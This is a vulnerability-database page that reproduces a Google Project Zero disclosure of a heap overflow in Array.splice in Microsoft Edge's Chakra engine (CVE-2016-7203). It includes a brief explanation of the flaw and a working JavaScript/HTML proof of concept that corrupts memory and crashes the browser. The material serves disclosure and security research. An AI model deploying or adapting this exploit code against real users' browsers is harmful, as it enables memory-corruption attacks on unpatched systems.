Lucene search
+L

Microsoft Edge - 'Array.splice' Heap Overflow

🗓️ 18 Nov 2016 00:00:00Reported by Google Security ResearchType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 40 Views

Microsoft Edge Array.splice Heap Overflow vulnerability in Chakr

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2016-7200
10 Nov 201600:00
attackerkb
attackerkb
ATTACKERKB
CVE-2016-7202
10 Nov 201600:00
attackerkb
attackerkb
ATTACKERKB
CVE-2016-7243
10 Nov 201600:00
attackerkb
attackerkb
ATTACKERKB
CVE-2016-7208
10 Nov 201600:00
attackerkb
attackerkb
ATTACKERKB
CVE-2016-7201
10 Nov 201600:00
attackerkb
bdu_fstec
BDU FSTEC
Microsoft Edge browser vulnerability, allowing attackers to gain access to the “My Documents” folder
27 Dec 201600:00
bdu_fstec
circl
Circl
CVE-2016-7203
18 Nov 201600:00
circl
cnvd
CNVD
Microsoft Edge Scripting Engine Memory Corruption Vulnerability (CNVD-2016-10955)
9 Nov 201600:00
cnvd
checkpoint_advisories
Check Point Advisories
Microsoft Edge Scripting Engine Memory Corruption (MS16-129: CVE-2016-7203)
8 Nov 201600:00
checkpoint_advisories
cve
CVE
CVE-2016-7203
10 Nov 201606:16
cve
Rows per page
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=934

There is a heap overflow in Array.splice in Chakra.

When an array is spliced, and overflow check is performed, but ArraySpeciesCreate, which can execute code and alter the array is called after this. This can allow an Array with boundaries that cause integer overflows to be spliced, leading to heap overflows in several situations.

A minimal PoC is as follows and a full PoC is attached.

var a = [];

class dummy{}

a.length = 200000;
a.fill(7, 10000, 10200);

var o = {};

Object.defineProperty(o, 'constructor', {
    get: function() {
      a.length = 0xfffffffe;
      var k = [];
      k.fill.call(a, 7.7, 0xfffff000, 0xfffffffe);
      return dummy;
    }
  });

a.__proto__ = o;

var q = [];
q.length = 500;
q.fill(7.7);

var j = [];

a.length = 0xfffffffe - 500;

j.splice.call(a, 0, ...q);
a[0xfffff1ec - 1] = 10;

This PoC is a bit unreliable, it may need to be refreshed a few times to crash.
-->

<html>
<head>
<meta http-equiv="refresh" content="1">
</head>

<body>
<script>


var a = [];

class dummy{}


a.length = 200000;
a.fill(7, 10000, 10200);

var o = {};
  Object.defineProperty(o, 'constructor', {
    get: function() {
      a.length = 0xfffffffe;
      var k = [];
      k.fill.call(a, 7.7, 0xfffff000, 0xfffffffe);
      return dummy;
    }
  });

a.__proto__ = o;

var q = [];
q.length = 500;
q.fill(7.7);

var j = [];

a.length = 0xfffffffe - 500;


j.splice.call(a, 0, ...q);
a[0xfffff1ec - 1] = 10;


</script>
</body>
</html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Nov 2016 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 37.5
CVSS 27.6
EPSS0.64892
40